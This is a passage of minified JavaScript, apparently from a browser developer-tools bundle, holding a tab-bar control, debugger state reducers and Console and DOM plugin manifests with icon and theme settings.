e="";switch(this.model.modelName){case"cookies":e="CookiesLabel";break;case"localStorage":e="LocalStorageLabel";break;case"sessionStorage":e="SessionStorageLabel";break;case"indexedDB":e="IndexedDBLabel";break;case"serviceWorker":e="ServiceWorkerLabel";break;case"cache":e="CacheLabel"}this.title=""!==e?Object(u.b)(e):this.model.displayName}}replaceModel(e){this.model=e;this.header.rootElement.setAttribute("id",m.HTML_ID_PREFIX+e.id);this.updateDisplay()}onActiveChanged(){}onMouseUp(e){1===e.button&&this.ownerTabControl.callCloseCallback(this);return!0}onCloseButtonClicked(e){var t=e.target;if(0===e.button&&t.classList.contains("closeButton")&&this.ownerTabControl){this.ownerTabControl.callCloseCallback(this);e.preventDefault();e.stopImmediatePropagation()}return!0}onKeyDown(e){if(13===e.keyCode||32===e.keyCode)this.onHeaderClicked();else if(e.ctrlKey||e.shiftKey||e.altKey||37!==e.keyCode||!this.ownerTabControl)if(e.ctrlKey||e.shiftKey||e.altKey||39!==e.keyCode||!this.ownerTabControl){if(121===e.keyCode&&e.shiftKey&&!e.ctrlKey&&!e.altKey&&this.ownerTabControl){this.ownerTabControl.showContextMenu(this,e);e.preventDefault()}}else this.ownerTabControl.selectNextTab(o.c.KeyboardShortcut);else this.ownerTabControl.selectPreviousTab(o.c.KeyboardShortcut);return!0}}m.HTML_ID_PREFIX="TabItem:";class g{}g.SLIDE_TIME_MILLISEC=100;g.CLOSE_TIME_MILLISEC=30;g.SCROLL_AMOUNT_PIXELS=50;n.d(t,"a",function(){return f});class f extends s.a{constructor(e,t,n,o){super();this._items=[];this._itemsById=[];this.rootElement=e;this._resourceViewController=t;this._removePreviewTab=!0;this._closePreviewTabTimeout=0;this.animation=!0;this._tabOptions=new g;this._tabOptions.onSelectCallback=((e,n)=>{t.open(e,{activation:n})});this._tabOptions.onCloseCallback=(e=>{t.close(e,!1,!0,this.isDocumentModel(e))});this._tabOptions.onCloseAllCallback=t.closeAllButThis.bind(t);var r="<nav class='tabBarContainer'><ul class='tabBar' role='tablist'></ul></nav>";this.rootElement.innerHTML=r;this._tabContainer=document.querySelector(".tabBarContainer");this._tabNavigation=document.createElement("div");this._tabNavigation.id="tabNavigation";this._tabNavigation.innerHTML="<div id='prevTabButton' class='prevTabDisabled'></div><div id='nextTabButton' class='nextTabDisabled'></div>";this._tabNavigation.classList.add("tabNavigation");this._tabNavigation.classList.add("hiddenButton");this._tabContainer.appendChild(this._tabNavigation);this._tabStripContainer=document.getElementById("tabStripContainer");var a=document.getElementById("prevTabButton"),s=document.getElementById("nextTabButton");a.addEventListener("click",this.scrollToPreviousTab.bind(this));a.addEventListener("mousedown",this.startScrollToPrevious.bind(this));a.addEventListener("mouseup",this.stopScrollToPrevious.bind(this));s.addEventListener("click",this.scrollToNextTab.bind(this));s.addEventListener("mousedown",this.startScrollToNext.bind(this));s.addEventListener("mouseup",this.stopScrollToNext.bind(this));this._barPanel=new i.a(document.querySelector(".tabBar"));window.addEventListener("resize",()=>{this.realignControl(!1)});this.onContextMenuCallback=n;this.getDocModelPropertyCallback=o}get tabOptions(){return this._tabOptions}get length(){return this._items.length}get selectedItem(){return this._selectedItem}resourceAdded(e,t){if(e&&this.isDocumentModel(e)){var n=this.getPreviousDocumentModel(e);if(n){var o=this._itemsById[n.id];if(o){o.replaceModel(e);this._itemsById[e.id]=o;delete this._itemsById[n.id]}}}}resourceRemoved(e){}resourceClosed(e){this.isPreviewTab(e)?this._removePreviewTab&&this.removeTab(this._previewTabItem,!0):this.removeTab(this._itemsById[e.id])}resourceOpened(e,t,n,o){if(this.isPreviewTab(e)){if(this._closePreviewTabTimeout){window.clearTimeout(this._closePreviewTabTimeout);this._closePreviewTabTimeout=0}if(this._previewTabItem){if(this._previewTabItem.model!==e){this._removePreviewTab=!1;this._previewTabItem.model&&this._resourceViewController.close(this._previewTabItem.model,!1,!1,!0);this._removePreviewTab=!0;this._previewTabItem.replaceModel(e)}}else{this._previewTabItem=new m(e,this,!0,"previewTabIcon",!1,!0);this._items.push(this._previewTabItem);this.addTabElement(this._previewTabItem,0!==t)}this.setSelectedItem(this._previewTabItem,!1);this._tabStripContainer.classList.add("previewTab")}else{var r=this._itemsById[e.id];if(!r){r=this._itemsById[e.id]=new m(e,this,!0);this.pushIntoItems(r);this.addTabElement(r,0!==t)}if(0!==t&&(!o||null===this.selectedItem)){this.setSelectedItem(r,!1);this._tabStripContainer.classList.remove("previewTab")}}}documentUpdated(e,t){}documentUrlChanged(e){var t=this._itemsById[e.id];t&&t.updateDisplay()}documentAsLibraryStateChanged(e){}doLayout(){this.realignControl(!1)}realignControl(e){this.performOverflowCheck();this.realignTabs(e);this.selectedItem&&this.setTabViewable(this.selectedItem,e)}removeTab(e,t){if(t){if(this._items[this._items.length-1]!==this._previewTabItem){r.a.failDebugOnly("this._previewTabItem is not the last item in this._items");return l.a}this._items.pop()}else if(e){const t=this._items.indexOf(e);if(t<0)return l.a;this._items.splice(t,1);const n=e.model;if(n){r.a.hasValue(this._itemsById[n.id]);delete this._itemsById[n.id]}}this.selectedItem===e&&(this._selectedItem=void 0);e&&e.contextMenu&&e.contextMenu.dispose();return new Promise(t=>{if(e)if(this.animation&&e.animateOnClose)this.shrinkAndRemove(e).then(()=>{t()});else{this.deleteTabItemElement(e);this.realignControl(!1);t()}})}closeAllTabs(e){if(this._items)for(var t=0,n=this._items.length;t<n;t++)this._items[t].animateOnClose=!1;const o=this._items&&this._items[0]&&this.isDocumentModel(this._items[0].model);return this._tabOptions&&this._tabOptions.onCloseAllCallback?this._tabOptions.onCloseAllCallback(void 0,!1,o):l.a}closeAllTabsButThis(e,t){if(this._items)for(var n=0,o=this._items.length;n<o;n++){var r=this._items[n];r!==e&&(r.animateOnClose=!1)}return this._tabOptions&&this._tabOptions.onCloseAllCallback?this._tabOptions.onCloseAllCallback(e.model,!1,this.isDocumentModel(e.model)):l.a}containsTab(e){return this._items.indexOf(e)>=0}getTabByIndex(e){if(e<this._items.length)return this._items[e]}setSelectedItem(e,t=!0){if(this._selectedItem!==e){if(!this.setFocusStateOnTabItem(e,t))return;this.setTabViewable(e,!0)}else e&&this.containsTab(e)&&this.setTabViewable(e,!1)}callCloseCallback(e){this._tabOptions&&this._tabOptions.onCloseCallback&&e.model&&this._tabOptions.onCloseCallback(e.model)}callSelectCallback(e,t,n){this._tabOptions&&this._tabOptions.onSelectCallback&&e.model&&this._tabOptions.onSelectCallback(e.model,n)}insertBefore(e,t){if(!e.equals(t)){this._barPanel.rootElement.removeChild(e.header.rootElement);this._barPanel.rootElement.insertBefore(e.header.rootElement,t.header.rootElement);this._items.splice(this._items.indexOf(e),1);this._items.splice(this._items.indexOf(t),0,e)}}insertAfter(e,t){if(!e.equals(t)){this._barPanel.rootElement.removeChild(e.header.rootElement);t.header.rootElement.insertAdjacentElement("afterend",e.header.rootElement);this._items.splice(this._items.indexOf(e),1);this._items.splice(this._items.indexOf(t)+1,0,e)}}selectNextTab(e){const t=this.selectedItem;let n=-1;t&&(n=this._items.indexOf(t));if(n>=0){const t=(n+=1)>=this._items.length?this._items[0]:this._items[n];this.setFocusStateOnTabItem(t);this.callSelectCallback(t,e,1)}}selectPreviousTab(e){const t=this.selectedItem;let n=-1;t&&(n=this._items.indexOf(t));if(n>=0){const t=(n-=1)<0?this._items[this._items.length-1]:this._items[n];this.setFocusStateOnTabItem(t);this.callSelectCallback(t,e,1)}}trySelectTabByNumber(e,t){const n=this.getTabByIndex(e-1);if(n){this.setFocusStateOnTabItem(n);this.callSelectCallback(n,t,1)}}showContextMenu(e,t){const n=e.model;if(n){if(e.contextMenu){e.contextMenu.dispose();e.contextMenu=void 0}e.contextMenu=a.create(this.createMenuItems(e),f.CONTEXT_MENU_ID+n.id);var o=0,r=0;if(t instanceof MouseEvent){o=t.pageX;r=t.pageY}if(o<=0&&r<=0){var i=e.rootElement.getBoundingClientRect();o=i.left;r=i.top}e.contextMenu.show(o,r)}}closePreviewTab(e){if(this._previewTabItem){var t=()=>{if(this._closePreviewTabTimeout){window.clearTimeout(this._closePreviewTabTimeout);this._closePreviewTabTimeout=0}this._previewTabItem&&this.callCloseCallback(this._previewTabItem)};e?this._closePreviewTabTimeout||(this._closePreviewTabTimeout=window.setTimeout(t,f.CLOSE_PREVIEW_TAB_TIMEOUT)):t()}}createMenuItems(e){var t=[];const n=e.model;if(n){t.push({id:"menuItemCloseTabControl"+n.id,callback:()=>{this.callCloseCallback(e)},label:Object(u.b)("TabContextMenuCloseTab"),type:a.MenuItemType.command,accessKey:Object(u.b)("/Common/AccessKeyCtrlF4")});t.push({id:"menuItemCloseAllTabControl"+n.id,callback:()=>{this.closeAllTabs(o.c.ContextMenu)},label:Object(u.b)("TabContextMenuCloseAllTabs"),type:a.MenuItemType.command});t.push({id:"menuItemCloseOthersTabControl"+n.id,callback:()=>{this.closeAllTabsButThis(e,o.c.ContextMenu)},label:Object(u.b)("TabContextMenuCloseOtherTabs"),type:a.MenuItemType.command,disabled:()=>this._items.length<=1});this.isDocumentModel(n)&&(t=t.concat(this.onContextMenuCallback(n)))}return t}addTabElement(e,t){if(this._previewTabItem&&e!==this._previewTabItem){this._barPanel.removeChild(this._previewTabItem.header);this._barPanel.appendChild(e.header);this._barPanel.appendChild(this._previewTabItem.header)}else this._barPanel.appendChild(e.header);this.makeDescendantsUnselectable(e.header.rootElement);this.realignControl(t)}startScrollToPrevious(e){this.clearAllScrollIntervals();this._scrollPreviousIntervalId=setInterval(()=>{this.moveTabsByOffset(g.SCROLL_AMOUNT_PIXELS)},2*g.SLIDE_TIME_MILLISEC);e.stopImmediatePropagation();return!1}stopScrollToPrevious(e){this.clearAllScrollIntervals();e.stopImmediatePropagation();return!1}startScrollToNext(e){this.clearAllScrollIntervals();this._scrollNextIntervalId=setInterval(()=>{this.moveTabsByOffset(-g.SCROLL_AMOUNT_PIXELS)},2*g.SLIDE_TIME_MILLISEC);e.stopImmediatePropagation();return!1}stopScrollToNext(e){this.clearAllScrollIntervals();e.stopImmediatePropagation();return!1}moveTabsByOffset(e){var t=this._barPanel.rootElement,n=t.children,o=n[0],r=n[n.length-1],i=o.offsetLeft,a=r.offsetLeft+r.offsetWidth,s=0,l=t.offsetLeft+t.offsetWidth,c=i<s,u=a>l;e>0&&c?e=Math.min(s-i,e):e<0&&u&&(e=Math.max(l-a,e));if(e<0&&u||e>0&&c)for(var d=0;d<n.length;d++){var h=n[d];h.style.transitionDuration=g.SLIDE_TIME_MILLISEC/(1e3*n.length)+"s";h.style.left=this.getLeftPos(n[d])+e+"px"}}scrollToNextTab(e){for(var t=this._barPanel.rootElement,n=t.offsetLeft+t.offsetWidth,o=t.children,r=0;r<o.length;r++){var i,a=o[r];if((i=n-(a.offsetLeft+a.offsetWidth))<0){this.moveTabsToNewPosition(o,this.getLeftPos(a)+i,!0);break}}e.stopPropagation();e.preventDefault();return!1}scrollToPreviousTab(e){for(var t=this._barPanel.rootElement,n=t.offsetLeft,o=t.children,r=o.length-1;r>=0;r--){var i=o[r];if(n>i.offsetLeft){this.moveTabsToNewPosition(o,this.getLeftPos(i)+(n-i.offsetLeft),!0);break}}e.stopPropagation();e.preventDefault();return!1}performOverflowCheck(){for(var e=this._barPanel.rootElement,t=0,n=e.children,o=0;o<n.length;o++)t+=n[o].clientWidth;if(t>e.clientWidth){this._tabNavigation.classList.remove("hiddenButton");this._previewTabItem&&this._previewTabItem.header.rootElement.classList.remove("rfloat")}else{this._tabNavigation.classList.add("hiddenButton");this._previewTabItem&&this._previewTabItem.header.rootElement.classList.add("rfloat")}}getLeftPos(e){let t=0;if(e.style&&e.style.left){t=parseInt(e.style.left,10);if(isNaN(t))return 0}return t}setTabViewable(e,t){const n=e.header.rootElement;if(n&&n.parentElement){if(n.offsetWidth>n.parentElement.offsetWidth)return;const e=n.offsetLeft,o=e+n.offsetWidth,r=n.parentElement.offsetLeft,i=r+n.parentElement.offsetWidth;let a=0;e<r?a=r-e:o>i&&(a=i-o);0!==a&&this.moveTabsToNewPosition(n.parentElement.children,this.getLeftPos(n)+a,t)}}moveTabsToNewPosition(e,t,n){for(var o=0;o<e.length;o++){var r=e[o];r.style.transitionDuration=n?String(g.SLIDE_TIME_MILLISEC/(1e3*e.length))+"s":"0s";r.style.left=t+"px"}}shrinkAndRemove(e){return new Promise(t=>{var n=e.header.rootElement;n.style.transitionDuration=String(g.SLIDE_TIME_MILLISEC/1e3)+"s";var o=()=>{this.deleteTabItemElement(e);this.realignControl(!0);n.removeEventListener("transitionend",o);t()};if(Object(c.u)()){n.addEventListener("transitionend",o);n.style.minWidth="0";n.style.width="0"}else{this.deleteTabItemElement(e);t()}})}deleteTabItemElement(e){this._barPanel.removeChild(e.header);e.model=void 0;e.ownerTabControl=void 0;e.destroy();this._previewTabItem===e&&(this._previewTabItem=void 0)}clearAllScrollIntervals(){clearInterval(this._scrollPreviousIntervalId);clearInterval(this._scrollNextIntervalId)}realignTabs(e){var t=this._barPanel.rootElement,n=t.children;if(n.length>0){let i=t.offsetLeft;var o=t.offsetLeft+t.offsetWidth-(n[n.length-1].offsetLeft+n[n.length-1].offsetWidth),r=t.offsetLeft-n[0].offsetLeft;o>0&&r>0&&(i=this.getLeftPos(n[0])+Math.min(r,o));this.moveTabsToNewPosition(n,i,e)}}makeDescendantsUnselectable(e){for(var t=e.querySelectorAll("*"),n=0;n<t.length;n++)t[n].setAttribute("unselectable","on")}setFocusStateOnTabItem(e,t=!0){if(!this.containsTab(e)){this._selectedItem=void 0;return!1}if(this._selectedItem){this._selectedItem.active=!1;this._selectedItem.header.rootElement.setAttribute("tabindex","-1")}this._selectedItem=e;if(this._selectedItem){this._selectedItem.active=!0;this._selectedItem.header.rootElement.setAttribute("tabindex","1");t&&this._selectedItem.focus();this._barPanel.rootElement.scrollLeft=0}return!0}isDocumentModel(e){return"Doc"===e.modelType||"PreviewDoc"===e.modelType||"DocDiff"===e.modelType}isPreviewTab(e){return!!this.isDocumentModel(e)&&this.getDocModelPropertyCallback(e).isPreviewTab}getUrlOfDocumentModel(e){return this.isDocumentModel(e)?this.getDocModelPropertyCallback(e).url:""}getPreviousDocumentModel(e){return this.isDocumentModel(e)?this.getDocModelPropertyCallback(e).previousRevision:void 0}getNextDocumentModel(e){return this.isDocumentModel(e)?this.getDocModelPropertyCallback(e).nextRevision:void 0}isEditPending(e){return!!this.isDocumentModel(e)&&this.getDocModelPropertyCallback(e).isEditPending}getDocPropChangedHandler(e){return this.isDocumentModel(e)?this.getDocModelPropertyCallback(e).propertyChanged:void 0}pushIntoItems(e){this._previewTabItem?this._items.splice(-1,1,e,this._previewTabItem):this._items.push(e)}}f.CONTEXT_MENU_ID="TabControlContextMenu";f.CLOSE_PREVIEW_TAB_TIMEOUT=400},function(e,t,n){"use strict";var o=n(49),r=n(21);const i=r.Map(),a=r.OrderedSet(),s=r.Map(),l=r.Map(),c=null,u=r.Map();function d(e=i,t){switch(t.type){case"DEBUGGER_FILE_ADDED":return e.set(t.file.id,t.file);case"DEBUGGER_SOURCE_MAPPED_FILES_ADDED":return e.withMutations(e=>{t.files.forEach(t=>{e.set(t.id,t)})});case"DEBUGGER_FILES_REMOVED":return e.withMutations(e=>{for(const n of t.ids)e.remove(n)});case"DEBUGGER_DETACH":return i;default:return e}}function h(e=a,t){switch(t.type){case"DEBUGGER_SHOW_DOCUMENT":case"DEBUGGER_ADD_TO_RECENTLY_OPENED":return e.add(t.url);default:return e}}function p(e=s,t){switch(t.type){case"DEBUGGER_FILES_REMOVED":return e.withMutations(e=>{for(const n of t.ids)e.remove(n)});case"DEBUGGER_SOURCE_MAPPED_FILES_ADDED":const n=r.Set(t.files.map(e=>e.id));return e.set(t.generatedFileId,n);case"DEBUGGER_DETACH":return s;default:return e}}function m(e=l,t){switch(t.type){case"DEBUGGER_LIBRARY_URL_STATE_RECEIVED":{const n=e.get(t.url),o=Object.assign({},n,{isLibraryFile:t.isLibraryFile});return e.set(t.url,o)}case"DEBUGGER_SET_URL_OPEN_STATE":{const n=e.get(t.url),o=Object.assign({},n,{isOpen:t.isOpen});return e.set(t.url,o)}case"DEBUGGER_SET_URL_PENDING_EDIT_STATE":{const n=e.get(t.url),o=Object.assign({},n,{hasPendingEdit:t.hasPendingEdit});return e.set(t.url,o)}case"DEBUGGER_SET_URL_BADGE_STATE":{const n=e.get(t.url),o=Object.assign({},n,{badgeText:t.badgeText,badgeType:t.badgeType});return e.set(t.url,o)}case"DEBUGGER_CLEAR_URL_STATE":return e.delete(t.url);case"DEBUGGER_DETACH":return l;default:return e}}function g(e=c,t){switch(t.type){case"DEBUGGER_BREAK":return t.breakEventInfo;case"DEBUGGER_RUN":case"DEBUGGER_DETACH":return null;default:return e}}function f(e=u,t){switch(t.type){case"WEB_WORKER_STARTED":return e.set(t.threadDescription.id,t.threadDescription);case"WEB_WORKER_FINISHED":return e.remove(t.id);default:return e}}function _(e="",t){switch(t.type){case"DEBUGGER_REVEAL_FILE":return t.url;default:return e}}function v(e=!0,t){switch(t.type){case"SET_JMC":return t.isEnabled;default:return e}}function b(e=!0,t){switch(t.type){case"TOGGLE_LIBRARY_FRAMES":return!e;default:return e}}const C=Object(o.c)({breakEventInfo:g,files:d,isJMCEnabled:v,libraryFramesHidden:b,recentFiles:h,revealFileUrl:_,sourceMappedFiles:p,urls:m,webWorkerThreads:f});function y(e=!1,t){switch(t.type){case"SHOW_QUICK_OPEN":return!0;case"HIDE_QUICK_OPEN":return!1;default:return e}}const E=Object(o.c)({quickOpenVisible:y});n.d(t,"a",function(){return S});const S=Object(o.c)({debugger:C,host:E})},function(e,t,n){"use strict";var o={start_url:"console/console.html",domain:"http://microsoft.com",name:"Console",version:"1.0",enabled:!0,pluginId:1,scriptId:"console",launchers:[{mode:"Chooser",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"Classic",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"Edge",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"WWA",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"ChooserViaVS",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"Remote",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]}],f12:{start_url:"console.html",localized_tab_resource:"ConsoleToolLabelText",localized_tooltip_id:"ConsoleTooltip",resource_aliases:{Common:{is_default:!0}},themed_images:{}}};var r={start_url:"dom/dom.html",domain:"http://microsoft.com",name:"Dom",version:"1.0",enabled:!0,pluginId:2,scriptId:"dom",launchers:[{mode:"Chooser",hostTypes:["Tab","ExtensionBackground","ExtensionPopup"]},{mode:"Classic",hostTypes:["Tab","ExtensionBackground","ExtensionPopup"]},{mode:"Edge",hostTypes:["Tab","ExtensionBackground","ExtensionPopup"]},{mode:"WWA",hostTypes:["Tab","ExtensionBackground","ExtensionPopup"]},{mode:"ChooserViaVS",hostTypes:["Tab","ExtensionBackground","ExtensionPopup"]}],f12:{start_url:"dom.html",localized_tab_resource:"DomToolLabelText",localized_tooltip_id:"DomTooltip",resource_aliases:{Common:{is_default:!0}},themed_images:{"plugin-image-icon-dom-explorer-show-all-styles":{bitmap_source:"..\\dom\\images\\i_just_my_code.png",background_color:"plugin-background-color"},"plugin-image-icon-dom-explorer-error":{bitmap_source:"..\\dom\\images\\i_error.png",background_color:"plugin-background-color"},"plugin-image-icon-dom-explorer-inspect":{bitmap_source:"..\\dom\\images\\i_inspect.png",background_color:"plugin-background-color"},"plugin-image-icon-dom-explorer-show-layout":{bitmap_source:"..\\dom\\images\\i_show_layout.png",background_color:"plugin-background-color"},"plugin-image-icon-dom-explorer-refresh":{bitmap_source:"..\\dom\\images\\i_refresh.png",background_color:"plugin-background-color"},"plugin-common-image-icon-next":{bitmap_source:"..\\common\\images\\i_next.png",background_color:"plugin-background-color"},"plugin-common-image-icon-previous":{bitmap_source:"..\\common\\images\\i_previous.png",background_color:"plugin-background-color"},"plugin-image-icon-dom-explorer-breadcrumb-right":{bitmap_source:"..\\dom\\images\\BreadcrumbScrollRight.png",background_color:"plugin-breadcrumb-background-color"},"plugin-image-icon-dom-explorer-breadcrumb-right-hover":{bitmap_source:"..\\dom\\images\\BreadcrumbScrollRightHover.png",background_color:"plugin-breadcrumb-background-color"},"plugin-image-icon-dom-explorer-breadcrumb-left":{bitmap_source:"..\\dom\\images\\BreadcrumbScrollLeft.png",background_color:"plugin-breadcrumb-background-color"},"plugin-image-icon-dom-explorer-breadcrumb-left-hover":{bitmap_source:"..\\dom\\images\\BreadcrumbScrollLeftHover.png",background_color:"plugin-breadcrumb-background-color"},"vs-image-icon-tree-collapsed":{bitmap_source:"..\\Common\\images\\itemCollapsedIcon.png",background_color:"plugin-background-color"},"vs-image-icon-tree-expanded":{bitmap_source:"..\\Common\\images\\itemExpandedIcon.png",background_color:"plugin-background-color"},"plugin-image-icon-red-underline":{bitmap_source:"..\\dom\\images\\red_squiggly.png",background_color:"plugin-background-color"},"plugin-image-icon-dom-explorer-show-pseudo_classes":{bitmap_source:"..\\dom\\images\\i_show_pseudo_classes.png",background_color:"plugin-background-color"},"plugin-image-icon-dom-explorer-events-collapseAll":{bitmap_source:"..\\dom\\images\\EventsCollapseAll.png",background_color:"plugin-background-color"},"plugin-image-icon-dom-explorer-add-CSS-rules":{bitmap_source:"..\\dom\\images\\AddNewRuleIcon.png",background_color:"plugin-background-color"},"plugin-image-icon-dom-explorer-checkered-background":{bitmap_source:"..\\dom\\images\\checkered_background.png",background_color:"plugin-background-color"},"plugin-common-image-colorpicker-color-background":{bitmap_source:"..\\Common\\images\\colorPicker\\checkeredBackground.png",background_color:"plugin-background-color"},"plugin-common-image-colorpicker-slider-button":{bitmap_source:"..\\Common\\images\\colorPicker\\sliderButton.png",background_color:"plugin-background-color"},"plugin-common-image-accessibility-button":{bitmap_source:"..\\dom\\images\\accessibility.png",background_color:"plugin-background-color"},"plugin-common-image-filter-button":{bitmap_source:"..\\common\\images\\i_filtering_options.png",background_color:"plugin-background-color"},"plugin-common-image-colorpicker-hue":{bitmap_source:"..\\Common\\images\\colorPicker\\hueColorBar.png",background_color:"plugin-background-color"},"plugin-common-image-colorpicker-saturation":{bitmap_source:"..\\Common\\images\\colorPicker\\saturationColorBar.png",background_color:"plugin-background-color"},"plugin-common-image-colorpicker-lightness":{bitmap_source:"..\\Common\\images\\colorPicker\\lightnessColorBar.png",background_color:"plugin-background-color"},"plugin-common-image-colorpicker-alpha":{bitmap_source:"..\\Common\\images\\colorPicker\\alphaColorBar.png",background_color:"plugin-background-color"},"f12-dmbp-image-rebind-breakpoint":{bitmap_source:"..\\Common\\images\\refreshState.png",background_color:"plugin-background-color"},"f12-dmbp-image-delete-breakpoint":{bitmap_source:"..\\Common\\images\\i_delete.png",background_color:"plugin-background-color"},"f12-dmbp-image-rebind-all":{bitmap_source:"..\\Common\\images\\refreshState.png",background_color:"plugin-background-color"},"f12-dmbp-image-toggle-enable-all":{bitmap_source:"..\\Common\\DomMutations\\images\\domSelectAllBreakpoints.png",background_color:"plugin-background-color"},"f12-dmbp-image-delete-all":{bitmap_source:"..\\Common\\DomMutations\\images\\domDeleteAllBreakpoints.png",background_color:"plugin-background-color"},"f12-dmbp-unbound-icon":{bitmap_source:"..\\Common\\images\\i_warning.png",background_color:"plugin-background-color"}}},vs:{resource_aliases:{Common:{type:"Embedded",name:"Microsoft.VisualStudio.WebClient.Diagnostics.HtmlToolHost",path:"Microsoft.VisualStudio.WebClient.Diagnostics.HtmlToolHost.Resources.Common.Resources",is_default:!0}},guid_symbols:{guidShellStandardSet:"5efc7975-14bc-11cf-9b2b-00aa00573819",guidHtmlToolHostCmdSet:"a654f3df-4bdb-4863-a750-75cdb50a03bc"},command_aliases:{find:{guid:"guidShellStandardSet",id:97,focus:!0},findnext:{guid:"guidShellStandardSet",id:370,focus:!0},findprev:{guid:"guidShellStandardSet",id:371,focus:!0},redo:{guid:"guidShellStandardSet",id:29,focus:!0},refresh:{guid:"guidHtmlToolHostCmdSet",id:261,focus:!0},selectelement:{guid:"guidHtmlToolHostCmdSet",id:262,focus:!0},showlayout:{guid:"guidHtmlToolHostCmdSet",id:263,focus:!0},undo:{guid:"guidShellStandardSet",id:43,focus:!0}},theme_token_aliases:{"plugin-font-console-color":{category:"2AA714AE-53BE-4393-84E0-DC95B57A1891",key_type:"ForegroundColor",name:"Plain Text"},"plugin-font-console-background-color":{category:"2AA714AE-53BE-4393-84E0-DC95B57A1891",key_type:"BackgroundColor",name:"Plain Text"},"plugin-font-console-input-color":{category:"2AA714AE-53BE-4393-84E0-DC95B57A1891",key_type:"ForegroundColor",name:"Console Input Text"},"plugin-font-console-input-background-color":{category:"2AA714AE-53BE-4393-84E0-DC95B57A1891",key_type:"BackgroundColor",name:"Console Input Text"},"plugin-font-console-output-color":{category:"2AA714AE-53BE-4393-84E0-DC95B57A1891",key_type:"ForegroundColor",name:"Console Output Text"},"plugin-font-console-output-background-color":{category:"2AA714AE-53BE-4393-84E0-DC95B57A1891",key_type:"BackgroundColor",name:"Console Output Text"},"plugin-font-console-error-color":{category:"2AA714AE-53BE-4393-84E0-DC95B57A1891",key_type:"ForegroundColor",name:"Console Error Text"},"plugin-font-console-error-background-color":{category:"2AA714AE-53BE-4393-84E0-DC95B57A1891",key_type:"BackgroundColor",name:"Console Error Text"},"plugin-font-console-info-color":{category:"2AA714AE-53BE-4393-84E0-DC95B57A1891",key_type:"ForegroundColor",name:"Console Info Text"},"plugin-font-console-info-background-color":{category:"2AA714AE-53BE-4393-84E0-DC95B57A1891",key_type:"BackgroundColor",name:"Console Info Text"},"plugin-font-console-warning-color":{category:"2AA714AE-53BE-4393-84E0-DC95B57A1891",key_type:"ForegroundColor",name:"Console Warning Text"},"plugin-font-console-warning-background-color":{category:"2AA714AE-53BE-4393-84E0-DC95B57A1891",key_type:"BackgroundColor",name:"Console Warning Text"},"plugin-font-editor-color":{category:"58e96763-1d3b-4e05-b6ba-ff7115fd0b7b",key_type:"ForegroundColor",name:"Plain Text"},"plugin-font-editor-background-color":{category:"58e96763-1d3b-4e05-b6ba-ff7115fd0b7b",key_type:"BackgroundColor",name:"Plain Text"},"plugin-font-editor-keyword-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"ForegroundColor",name:"Keyword"},"plugin-font-editor-keyword-background-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"BackgroundColor",name:"Keyword"},"plugin-font-editor-string-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"ForegroundColor",name:"String"},"plugin-font-editor-string-background-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"BackgroundColor",name:"String"},"plugin-font-editor-number-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"ForegroundColor",name:"Number"},"plugin-font-editor-number-background-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"BackgroundColor",name:"Number"},"plugin-font-editor-symbol-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"ForegroundColor",name:"SymbolDefinitionClassificationFormat"},"plugin-font-editor-symbol-background-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"BackgroundColor",name:"SymbolDefinitionClassificationFormat"},"plugin-font-editor-html-tag-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"ForegroundColor",name:"HTML Tag Delimiter"},"plugin-font-editor-html-tag-background-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"BackgroundColor",name:"HTML Tag Delimiter"},"plugin-font-editor-html-element-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"ForegroundColor",name:"HTML Element Name"},"plugin-font-editor-html-element-background-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"BackgroundColor",name:"HTML Element Name"},"plugin-font-editor-html-comment-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"ForegroundColor",name:"HTML Comment"},"plugin-font-editor-html-comment-background-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"BackgroundColor",name:"HTML Comment"},"plugin-font-editor-html-attribute-name-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"ForegroundColor",name:"HTML Attribute"},"plugin-font-editor-html-attribute-name-background-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"BackgroundColor",name:"HTML Attribute"},"plugin-font-editor-html-attribute-value-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"ForegroundColor",name:"HTML Attribute Value"},"plugin-font-editor-html-attribute-value-background-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"BackgroundColor",name:"HTML Attribute Value"},"plugin-font-editor-html-operator-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"ForegroundColor",name:"HTML Operator"},"plugin-font-editor-html-operator-background-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"BackgroundColor",name:"HTML Operator"},"plugin-font-editor-css-name-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"ForegroundColor",name:"CSS Property Name"},"plugin-font-editor-css-name-background-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"BackgroundColor",name:"CSS Property Name"},"plugin-font-editor-css-value-color":{category:"75a05685-00a8-4ded-bae5-e7a50bfa929a",key_type:"ForegroundColor",name:"CSS Property 